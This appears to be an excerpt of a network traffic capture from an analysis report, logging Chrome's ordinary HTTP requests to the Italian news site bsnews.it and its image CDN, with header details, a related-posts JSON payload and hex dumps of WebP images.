2024-03-28 08:51:08 UTC	794	OUT	GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-requested-with: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:08 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 86b66068082bf88d-IAD CF-Cache-Status: BYPASS cf-apo-via: origin,qs cf-edge-cache: cache,platform=wordpress x-cache-status: BYPASS x-content-type-options: nosniff x-powered-by: PHP/8.2.17 x-powered-by: PleskLin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBJYz2aUQAYYhzTQSfuQLnUgjsaPCxQJuSTAFHg01QdGitR8qaXuppEZrZ%2FueU1S5t3yICi9vUxo%2FrpRYz39ZOx1ouaHWEIAw5oC6EFqvg5JBrd826L6Yusb0Og%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:08 UTC	628	IN	Data Raw: 65 35 35 0d 0a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 31 31 36 22 2c 22 73 68 6f 77 5f 74 68 75 6d 62 6e 61 69 6c 73 22 3a 74 72 75 65 2c 22 73 68 6f 77 5f 64 61 74 65 22 3a 74 72 75 65 2c 22 73 68 6f 77 5f 63 6f 6e 74 65 78 74 22 3a 74 72 75 65 2c 22 6c 61 79 6f 75 74 22 3a 22 67 72 69 64 22 2c 22 68 65 61 64 6c 69 6e 65 22 3a 22 43 6f 72 72 65 6c 61 74 69 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 64 22 3a 39 38 30 39 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 32 30 31 34 5c 2f 31 32 5c 2f 31 38 5c 2f 6d 6f 62 69 6c 69 74 61 2d 73 6f 73 74 65 6e 69 62 69 6c 65 2d 74 72 61 2d 6c 65 2d 63 69 74 74 61 2d 69 74 61 6c 69 61 6e 65 2d 62 72 65 73 63 69 61 2d 65 2d 6c 61 2d 71 75 69 6e 74 61 5c 2f 22 2c 22 Data Ascii: e55{"version":"20240116","show_thumbnails":true,"show_date":true,"show_context":true,"layout":"grid","headline":"Correlati","items":[{"id":9809,"url":"https:\/\/bsnews.it\/2014\/12\/18\/mobilita-sostenibile-tra-le-citta-italiane-brescia-e-la-quinta\/","
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6c 61 73 73 69 66 69 63 61 20 73 6f 6e 6f 20 70 69 5c 75 30 30 66 39 20 66 61 74 74 6f 72 69 2c 20 64 61 6c 20 6e 75 6d 65 72 6f 20 64 69 20 70 61 72 63 68 65 67 67 69 20 73 63 61 6d 62 69 61 74 6f 72 69 20 65 20 61 20 70 61 67 61 6d 65 6e 74 6f 2c 20 61 6c 6c 61 20 64 69 66 66 75 73 69 6f 6e 65 20 64 65 6c 6c 65 20 70 69 73 74 65 20 63 69 63 6c 61 62 69 6c 69 20 66 69 6e 6f 20 61 6c 20 6c 69 76 65 6c 6c 6f 20 64 69 20 69 6e 63 69 64 65 6e 74 61 6c 69 74 5c 75 30 30 65 30 20 73 75 6c 6c 65 20 73 74 72 61 64 65 2c 20 6d 61 20 61 6e 63 68 65 20 6c 61 5c 75 32 30 32 36 22 2c 22 72 65 6c 22 3a 22 22 2c 22 63 6f 6e 74 65 78 74 22 3a 22 49 6e 20 26 71 75 6f 74 3b 43 72 6f 6e 61 63 61 26 71 75 6f 74 3b 22 2c 22 62 6c 6f 63 6b 5f 63 6f 6e 74 65 78 74 22 3a 7b 22 Data Ascii: lassifica sono pi\u00f9 fattori, dal numero di parcheggi scambiatori e a pagamento, alla diffusione delle piste ciclabili fino al livello di incidentalit\u00e0 sulle strade, ma anche la\u2026","rel":"","context":"In "Cronaca"","block_context":{"
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 30 2e 77 70 2e 63 6f 6d 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 75 70 6c 6f 61 64 73 5c 2f 32 30 31 38 5c 2f 30 34 5c 2f 71 75 61 74 74 72 6f 2d 63 6f 6c 2d 70 61 6c 6c 6f 6e 65 2d 6c 72 2e 6a 70 67 3f 66 69 74 3d 31 32 30 30 25 32 43 37 39 39 26 73 73 6c 3d 31 26 72 65 73 69 7a 65 3d 33 35 30 25 32 43 32 30 30 22 2c 22 77 69 64 74 68 22 3a 33 35 30 2c 22 68 65 69 67 68 74 22 3a 32 30 30 2c 22 73 72 63 73 65 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 30 2e 77 70 2e 63 6f 6d 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 75 70 6c 6f 61 64 73 5c 2f 32 30 31 38 5c 2f 30 34 5c 2f 71 75 61 74 74 72 6f 2d 63 6f 6c 2d 70 61 6c 6c 6f 6e 65 2d 6c 72 2e 6a 70 67 Data Ascii: :"https:\/\/i0.wp.com\/bsnews.it\/wp-content\/uploads\/2018\/04\/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/bsnews.it\/wp-content\/uploads\/2018\/04\/quattro-col-pallone-lr.jpg
2024-03-28 08:51:08 UTC	310	IN	Data Raw: 20 5c 75 30 30 65 38 20 65 6d 65 72 73 6f 20 6e 65 6c 6c 61 20 70 72 65 73 65 6e 74 61 7a 69 6f 6e 65 20 64 65 6c 20 64 6f 73 73 69 65 72 20 4d 61 6c 27 61 72 69 61 20 32 30 31 33 5c 75 32 30 32 36 22 2c 22 72 65 6c 22 3a 22 22 2c 22 63 6f 6e 74 65 78 74 22 3a 22 49 6e 20 26 71 75 6f 74 3b 43 72 6f 6e 61 63 61 26 71 75 6f 74 3b 22 2c 22 62 6c 6f 63 6b 5f 63 6f 6e 74 65 78 74 22 3a 7b 22 74 65 78 74 22 3a 22 43 72 6f 6e 61 63 61 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 63 61 74 65 67 6f 72 79 5c 2f 6e 6f 74 69 7a 69 65 5c 2f 6e 6f 74 69 7a 69 65 2d 63 61 74 65 67 6f 72 69 61 5c 2f 6e 6f 74 69 7a 69 65 2d 63 72 6f 6e 61 63 61 2d 62 72 65 73 63 69 61 5c 2f 22 7d 2c 22 69 6d 67 22 3a 7b 22 61 6c 74 5f 74 65 Data Ascii: \u00e8 emerso nella presentazione del dossier Mal'aria 2013\u2026","rel":"","context":"In "Cronaca"","block_context":{"text":"Cronaca","link":"https:\/\/bsnews.it\/category\/notizie\/notizie-categoria\/notizie-cronaca-brescia\/"},"img":{"alt_te
2024-03-28 08:51:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49839	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	643	OUT	GET /bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	575	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 8050 Connection: close Last-Modified: Wed, 27 Mar 2024 11:07:06 GMT Expires: Fri, 27 Mar 2026 23:07:06 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "fbb40db12168d569" Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	794	IN	Data Raw: 52 49 46 46 6a 1f 00 00 57 45 42 50 56 50 38 20 5e 1f 00 00 70 88 00 9d 01 2a 44 01 a0 00 3e 6d 30 93 47 24 22 a1 a3 2d 50 fb 90 80 0d 89 67 6d e9 b0 0d 9a b3 09 34 8d 20 80 9c 25 37 01 73 bc e9 c4 fa 1c f4 cc da 86 72 2f f6 1e 0e f9 a6 8a d6 4a fb 48 d4 8f c1 fc f0 7f 63 df af ce ed 42 f1 5b b3 08 03 77 1a 7e 5f 9c 5f c0 73 e7 e0 bb 40 5f 28 3f 00 9f b8 7f e1 f6 17 39 3a e8 91 d5 4d 46 dd 0c ad 82 7e 3a 65 88 09 6a af 63 f3 74 86 4e f8 df 47 47 fd ee 83 19 cc b2 e5 17 0d 8b a4 c7 7a d8 37 0e 69 7c 39 70 a3 32 c4 bd 68 61 9d 10 34 93 d7 03 db e7 c9 99 12 7f d2 6e 60 8a 84 3b 7f 4e f7 88 31 79 a4 f9 41 09 77 a7 ab d8 df b6 70 f7 32 d6 0a 44 b7 84 5b 71 4e cb 55 bd e6 a1 cd 0a 51 3b 83 71 55 98 cc ab e2 fe 89 da 20 ef cc 81 69 99 d1 b9 07 86 bf 3f cc 33 d3 Data Ascii: RIFFjWEBPVP8 ^p*D>m0G$"-Pgm4 %7sr/JHcB[w~__s@_(?9:MF~:ejctNGGz7i\|9p2ha4n`;N1yAwp2D[qNUQ;qU i?3
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 73 54 ce ab e7 96 e8 4b 9b c3 98 12 67 76 0c c6 35 01 d0 3d a8 42 61 ec ec 52 09 b9 05 8c c2 0d 89 84 49 89 1e 93 e0 ad 8c 9a 97 90 f0 61 99 60 9c c5 2b b0 d3 89 29 b4 83 9e c8 8d e7 79 59 4b 7a 3b d9 db 06 1f c2 35 1c 65 35 6d ae 56 36 ec 38 6d 99 c1 be 58 ea 30 1a 56 5e 4b df 96 8c cd 1e a1 e3 4d 8e 99 1d a0 f4 db f2 6b 68 86 2a 30 37 bb ae 9d f2 70 11 b4 ed e3 b6 b8 e4 2e d0 78 af 3d 9c fa cd 23 80 1a 93 67 39 f8 e8 ab 61 08 e4 a6 0c 6b 0c f3 0d b4 ad 77 cf 31 f7 80 e0 cf 41 29 29 1d e6 a8 9e cf f5 0c b5 77 40 c6 5a 93 63 98 69 d6 68 01 a5 f8 26 51 f7 54 ea c9 ea f6 00 c8 36 5e b0 a1 7c 06 7d d3 ff ca 81 fd c0 81 e0 93 75 74 5d 2b ba 6f 61 62 b9 3f 46 85 f9 b7 8f a2 88 65 b2 e5 69 f0 49 cd 1b bd a8 56 cc b1 8e 13 52 23 38 b7 a5 6f 5e 30 6b 38 bf 69 9a Data Ascii: sTKgv5=BaRIa`+)yYKz;5e5mV68mX0V^KMkh*07p.x=#g9akw1A))w@Zcih&QT6^\|}ut]+oab?FeiIVR#8o^0k8i
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 93 43 93 b3 e5 fa e5 66 06 e5 28 4c bf 82 0a a4 ea 3a a5 5e b9 24 1b f2 6b ef 4e 97 39 80 3a 24 b3 b0 8d 33 60 4d 4e 93 0a 05 f4 84 89 25 22 4d 87 82 38 33 0c e1 76 d2 ec 12 10 ca 74 31 0b 43 cd 0f ac 3a 7b 0b 94 ec 56 a0 31 40 4f 0e c2 27 bb f6 84 ed 9a b3 d5 53 73 9c 4a 84 27 ea d7 32 55 37 52 d2 23 0b 8f 37 23 55 bc b3 40 35 c0 68 cd 3e 95 9b 0d 43 2b 4e d8 56 42 2e 30 6d fb 7a f2 00 e0 b8 0f c3 15 46 bf be bc 6d 6a 59 d2 a8 6b 4d 9c 8a 23 3e cd 9e 0b d2 74 29 48 6a 67 14 88 a2 a1 17 81 98 c1 c4 c5 91 1f f3 f2 f5 8c 5f 34 76 6c 8f a8 bf 82 d0 b3 97 27 6b d1 84 3e 35 a7 9c a2 e5 d0 34 f1 a0 ba c6 fe b3 3d 5c 96 fc 5a 36 c4 4a ac 8d 14 58 b6 6a 1a 75 3d 41 21 a8 2e 2f 1b 73 30 6e e6 c8 99 03 3e 75 84 8e f8 78 33 85 58 27 14 59 7d 8c 6b 16 8f 03 bf 8c 7a Data Ascii: Cf(L:^$kN9:$3`MN%"M83vt1C:{V1@O'SsJ'2U7R#7#U@5h>C+NVB.0mzFmjYkM#>t)Hjg_4vl'k>54=\Z6JXju=A!./s0n>ux3X'Y}kz
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: cd 1b 0d 2a 85 35 88 fa 2f c2 c0 cc 01 66 45 5c 6e 8e 54 00 7a 27 a9 08 8a 4e 40 83 aa a1 08 5d f9 e6 f4 d2 69 3b 25 b3 46 01 b7 a1 9e 7d 0e 52 41 fb ea c8 b9 7b 73 7d 23 4e 5c c1 81 b0 fe 5a bf 56 91 73 0a c5 9a aa cf 30 0d f2 4f 10 d0 9e 09 53 e3 a2 df 80 f0 a0 a7 8c 99 b3 c8 61 f7 95 a8 f4 2b fb 25 45 c2 4c e5 31 52 c0 ae 80 f4 9b 46 86 53 42 31 78 9b 3b f0 db 53 eb 5a e9 30 ca 6a 19 5c d0 3b 30 9e 7c bf bc 6a f2 4d bd 67 56 91 3e 04 d8 56 f7 15 49 42 31 0b 82 26 ea 8e 44 38 96 dc d9 55 8b 73 aa 31 c8 ef 88 be 12 75 0e 9e 0f a9 c2 f8 03 6e b9 ff cd 88 78 90 ec 4f 13 ce 45 e7 c4 07 0f da 75 b5 dd 2e df 7f a5 df f4 1f 3a a9 81 db 36 d2 c8 ea b0 d3 8f 19 f4 79 ff f0 51 6b 5c 52 07 9f 60 18 5e 7c d3 98 f9 f5 6e b0 bd 93 cc 72 5e 3e af b5 5f bb 45 ec af a1 Data Ascii: *5/fE\nTz'N@]i;%F}RA{s}#N\ZVs0OSa+%EL1RFSB1x;SZ0j\;0\|jMgV>VIB1&D8Us1unxOEu.:6yQk\R`^\|nr^>_E
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2a 22 5d 8b 0d e6 82 49 e3 60 36 9a d4 37 9a cf c0 9f 33 90 38 b2 e9 28 91 6d 40 dc 64 e3 7e 43 44 69 30 6c f9 24 7a 37 01 6d 6d 64 4a 7f 6f 97 96 a7 88 32 f2 9c f4 0b a2 94 20 c4 3b 7a 65 f0 4f 3c 46 f6 50 37 4f 51 10 2e 7b 2b bd 64 b6 d9 39 e1 b2 26 15 42 6b 7f fe 23 6b 2e c2 59 14 f4 5f 98 f9 f1 b2 34 8d e4 4d 72 08 05 79 8d ba 6f 4e fa cd 5f 58 47 2a 1f be 23 cc 30 60 97 78 ed ff a1 b9 33 4f 81 f5 4e 4e 89 49 11 93 8e 33 8f 3d 9e fd 88 84 a3 4d 19 e4 69 aa 86 c6 a2 0a 46 18 7a db cb c7 39 c7 c7 a4 f2 91 e4 55 06 64 e7 23 2a 09 bf a3 48 e5 7d 6e e9 82 46 19 01 a3 85 3a 5e 55 30 3f a3 7f 08 08 3c 31 b3 61 31 89 cb f7 c0 84 cb d6 84 bc 5a dc e5 6d f8 ff dc fd f9 7c 3c ad 11 2a fe a0 20 c6 de 82 47 ca a7 75 91 ee 6d 16 95 7c f5 35 9b b1 ad 84 3c 6d b6 da Data Ascii: "]I`6738(m@d~CDi0l$z7mmdJo2 ;zeO<FP7OQ.{+d9&Bk#k.Y_4MryoN_XG#0`x3ONNI3=MiFz9Ud#H}nF:^U0?<1a1Zm\|< Gum\|5<m
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 39 30 1b 94 5d d5 46 4c 60 b7 bc e0 73 9c 50 f3 cd 3e 8d 32 c5 29 cd fb 70 59 71 a2 f5 30 5e 4f 4e c5 0b 1b 3a 98 e5 c9 e4 4f c6 4f 11 22 e6 55 88 7b 73 c3 2b c8 fa f9 ea ec 70 ab dd f7 2b 61 a6 5f 8d 15 6d 19 c0 7e d9 db 1e d7 c6 3e 2e 79 87 8f cb 1d 2f b3 61 80 57 1a 35 d3 58 c8 58 d6 28 6c e6 32 c1 2c 6b 46 de 0f 85 34 f3 fa 06 53 a7 32 be b3 7a 83 81 72 b6 ec cf bf c9 57 c0 48 24 54 bc 98 e7 98 4b 82 68 4c f2 8c 84 85 72 b3 a7 f0 2e ea 57 58 42 c9 0c 6c 5a e8 f8 94 00 80 9b 91 a7 68 3b e7 0d 61 b2 60 8b c6 c3 f5 96 be ff a3 57 06 e6 cf 48 ab 16 70 52 4d 90 67 0e 0d 47 04 97 48 f1 87 88 a2 0f 05 24 a2 f0 8d 6d fb 59 22 79 43 b3 ce c9 3c 38 a3 43 4c 43 9e a1 5f 30 a4 b9 ed 9a 39 90 10 35 86 eb 72 4a 0f 49 6b e1 10 b9 8b 53 c8 fd fe 69 cc 37 e9 89 64 22 Data Ascii: 90]FL`sP>2)pYq0^ON:OO"U{s+p+a_m~>.y/aW5XX(l2,kF4S2zrWH$TKhLr.WXBlZh;a`WHpRMgGH$mY"yC<8CLC_095rJIkSi7d"
2024-03-28 08:51:08 UTC	411	IN	Data Raw: 41 76 a5 52 f7 82 5a 5a bc ef 01 cd d2 9f 7c c2 87 a3 14 0d f1 aa c6 e2 7b 04 b5 cb 0d b2 df 79 be 91 a0 dc 81 fd 12 89 6a cd a0 c8 32 25 0c 25 65 85 f1 85 d5 66 94 99 d8 62 b5 ed bc 76 43 97 e7 18 a6 bd b3 4f d2 3c 22 eb 78 71 b2 c1 50 c0 6d e3 78 5f 34 69 5e 94 17 28 90 14 b4 5a 20 59 8e 3c 92 10 d9 44 76 38 73 7e b8 9e 64 29 91 bf 8f 47 38 48 69 14 81 fe 98 be 23 4d f5 07 38 3d ec 59 04 3c df de d0 aa e3 5a 3f dc b9 c2 62 65 4b 56 e9 ba cb 8c bd 2a 3a ec a0 fc 76 04 83 bb 3a 96 d4 68 c0 04 43 1e 82 3f ba 9a 32 56 fb f0 81 59 2d 53 f0 e1 ff 7e 6f 2b 04 2c 22 16 f8 49 89 98 9c 5e 71 03 39 f0 27 4e bf aa b0 db 70 45 21 68 f1 0d f7 bc 38 21 d4 54 42 34 3e 9c 21 1b 6f a5 15 7f a3 ad d2 cc 3e e8 38 ed d9 64 f2 f1 74 d0 0f 8e 70 a4 1b 33 87 64 ba 67 6b 68 2b Data Ascii: AvRZZ\|{yj2%%efbvCO<"xqPmx_4i^(Z Y<Dv8s~d)G8Hi#M8=Y<Z?beKV*:v:hC?2VY-S~o+,"I^q9'NpE!h8!TB4>!o>8dtp3dgkh+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49842	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	636	OUT	GET /bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	569	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 56116 Connection: close Last-Modified: Sun, 24 Dec 2023 07:17:55 GMT Expires: Tue, 23 Dec 2025 19:17:55 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d08ddf3784b64a03" Vary: Accept X-nc: HIT dca 7 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	800	IN	Data Raw: 52 49 46 46 2c db 00 00 57 45 42 50 56 50 38 4c 20 db 00 00 2f 43 c1 27 00 4d 38 8c 24 35 6c e6 de c2 1f 02 f4 5f b0 48 6a 88 e8 ff 04 90 99 3c e3 b9 81 81 82 a2 aa f8 69 a9 ea 3c 99 cf 03 cc c4 93 d1 e2 2e 80 77 8a 2a a6 81 2a 32 bb 80 99 79 22 a6 25 8b bd 62 18 a9 8b 35 53 0f 4c cf cc 44 78 13 12 19 c1 57 52 51 75 3d 0a 98 35 6c 89 ab 4a 4a 7f b0 a5 aa 16 a2 9f 1e db f1 e4 cc 5c 55 c7 92 9c 31 33 7c 25 1d fc 91 ba bb fd 5e 39 9f 67 04 a5 45 e9 1c 5e dd 17 34 65 33 91 59 8c a4 92 64 5b 0a de 77 2c b9 ec 0b 78 5f 3b 22 35 a5 12 5c 9a 1a 78 67 5a 0e db 5e e0 78 22 bb 75 97 ee 05 b0 f0 9d 89 23 f2 3d 33 99 51 17 57 ce 6c f3 63 8d e4 9c 99 cc 2e db 56 a9 14 62 7b bc 42 b0 8a 8a f4 5a 52 11 9e e5 91 7e c0 f7 7b e9 e5 9f 03 b5 f1 d7 1a d2 4c 5d 6c 7b 89 2d a9 Data Ascii: RIFF,WEBPVP8L /C'M8$5l_Hj<i<.w**2y"%b5SLDxWRQu=5lJJ\U13\|%^9gE^4e3Yd[w,x_;"5\xgZ^x"u#=3QWlc.Vb{BZR~{L]l{-
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 71 19 26 83 a5 4a 3f cc 87 79 43 bc e9 80 46 db 6b 34 d0 c8 9b f8 5c 14 4c 18 e8 08 82 00 68 e6 7f 3c d2 5f fd 52 0f 09 3e 21 08 1a 1a b5 af d2 81 a2 dc 6b a9 e5 8d b7 1a c0 72 03 68 9a 06 09 40 80 8e 9c 7b fe da bd 19 58 72 49 b2 64 2d 09 02 5a d7 d0 0d 60 e8 9c 13 ee 3d ee dc 01 8d 96 f9 91 27 20 01 02 d8 80 1e 24 04 90 00 83 04 04 40 01 1b 5b 51 7c 11 28 83 32 0a 92 84 ff b3 01 08 d0 d2 68 a9 90 00 00 65 00 10 00 60 5b 07 c0 00 00 45 2d 00 a1 d1 ee f9 92 2f 96 e2 f8 78 33 81 65 6e dc b8 ad 01 20 70 03 18 0e da 46 92 a4 74 3d bd fc 31 6f df 1e 85 88 98 00 60 04 c6 30 99 df 99 99 09 24 33 7a 37 90 60 03 81 91 a2 d1 48 d2 0c b6 f9 21 c8 90 24 84 e3 63 f2 da fc 2a 49 66 c2 99 4f b8 de 65 34 47 48 48 48 fe 49 01 7b 9d 39 02 31 e6 28 52 a5 1e 24 c1 bb fa 00 Data Ascii: q&J?yCFk4\Lh<_R>!krh@{XrId-Z`=' $@[Q\|(2he`[E-/x3en pFt=1o`0$3z7`H!$c*IfOe4GHHHI{91(R$
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1f 20 af 2f 63 f6 61 b0 01 ff a7 7c 6a f4 50 f7 ee c4 f6 74 31 55 88 23 aa 36 b0 01 c5 e1 12 0a 15 02 80 c0 94 66 bc a1 87 26 49 80 f0 7c 8b c2 fa 7d 7a c9 5a 25 01 7a 74 5d 11 a5 88 63 03 79 8a 15 19 ee 3f fa 8a 92 af 0b d1 07 da cf 53 c8 d6 31 8f 3b 91 76 4a 37 0f d0 f5 52 e7 9d 1f 12 9e ba 79 9e 8d 62 4b 4d 36 cf c8 3d e6 b1 63 c5 da bc 44 36 9b ae ba 6f af 0e ad 0e c1 2c 43 7d b3 44 d3 5e df cf b7 b9 28 6a fa 43 6e ab d8 dd 9d 3d 23 56 58 ad be 3d 74 23 e5 f9 c2 6b ab 5a a2 fb af 7c 2a cd 9b ca 02 20 04 2a 29 95 e4 92 0f 5e 1a 10 f4 99 7e 4c e7 35 57 1c a1 00 01 00 0c bc d6 20 c3 23 60 f4 e3 f7 6c b0 01 50 b8 35 51 7d b9 77 3c fb c7 ff d3 f1 a5 0d 4c da 1c 2d 86 2f 19 49 88 a0 24 02 59 bd b1 86 66 32 3c 5e c7 64 ad 00 9c 58 c9 84 ea 13 e6 a3 71 65 98 Data Ascii: /ca\|jPt1U#6f&I\|}zZ%zt]cy?S1;vJ7RybKM6=cD6o,C}D^(jCn=#VX=t#kZ\|* *)^~L5W #`lP5Q}w<L-/I$Yf2<^dXqe
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 13 24 63 d1 7a e4 00 31 44 00 02 12 bc 00 a0 01 2a c0 c0 ae 96 e0 5e 89 bf 89 bc f6 a3 35 bb 06 39 60 0a e8 08 6f de ac 44 20 89 62 02 a4 f8 48 03 6f 9d 43 b6 ed 49 6e 96 40 b6 79 c0 80 66 d1 3c db 81 db e7 fc f3 d9 3f d9 af e7 6f be 40 82 a4 90 84 e6 fe 89 cf 87 dd 5e 1c 25 17 60 fa b1 7c 26 93 44 12 04 40 95 d7 60 85 9f c4 b7 6f 10 5f f5 e3 f7 34 20 00 04 29 23 b9 f3 ef b7 a6 6e 9d e1 02 2f 3c 15 86 9f b8 14 e6 e5 02 bc 8d 9a 6c 67 9b f6 54 32 20 12 d1 24 55 85 24 f2 30 15 5d 5c 93 24 78 ba 3c f3 8d de e1 12 b6 8f 93 b3 5a ad 88 cd 0f 0b 01 65 e3 4a c8 c2 c6 9a 64 d0 b0 71 9a bb ff 71 f7 58 cd de 87 43 47 23 19 6c c8 59 2e a3 41 55 5e 3b 70 78 de 6d b6 b4 00 7e 16 cd 65 71 1c 73 a9 ae 3c 6c 19 54 ac 04 bb d6 5d f8 de b3 53 2a d1 de 51 10 35 7c c4 16 1f Data Ascii: $cz1D^59`oD bHoCIn@yf<?o@^%`\|&D@`o_4 )#n/<lgT2 $U$0]\$x<ZeJdqqXCG#lY.AU^;pxm~eqs<lT]SQ5\|
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 20 d2 a5 fa 13 9d 6d 77 95 92 f2 5a bf 64 c4 89 cd a6 c6 f9 5e 7f e8 40 8b 8a 20 63 8c 2d 45 04 c5 9b 46 fc c0 d6 ef 7a b4 9d b0 33 d1 9a 54 bc 46 ec f9 76 33 1f f6 87 d3 4f 00 ff ff 6b fa fd d7 6f 4f da 73 c9 21 6f f4 74 4e 73 95 2a 15 80 1c 2c fd 90 27 8f f2 63 18 85 a8 3f 7f a3 50 f3 55 c5 d7 1c 04 ab d8 5f e6 df fc f8 77 ff 64 fd 89 cd 3d 54 1c 73 d8 91 d3 ad 96 5c e6 a6 c1 86 f3 8a 0d 9d b4 4e 9e 59 8e af 8c 18 7e 25 20 0c 6c cc d0 37 32 45 92 67 62 d5 b0 ec e5 6c af c6 21 27 55 83 5e 2a 63 ce db 53 83 b6 4b 36 ef d9 10 be f4 8e a7 da 3a ed d8 d1 0d 88 a1 35 5b 9d af 74 41 e7 ba 03 ea 18 b7 d9 5a 4b 03 9b 6a 52 53 03 19 01 84 b6 fe 9f c6 7f cb 20 d8 ff 3b 3c 79 78 d8 bb bd 33 9a c0 c0 8c 50 ef 69 f1 67 fb b9 d8 cd 31 c9 37 d3 58 6c 46 92 66 93 75 93 Data Ascii: mwZd^@ c-EFz3TFv3OkoOs!otNs,'c?PU_wd=Ts\NY~% l72Egbl!'U^cSK6:5[tAZKjRS ;<yx3Pig17XlFfu
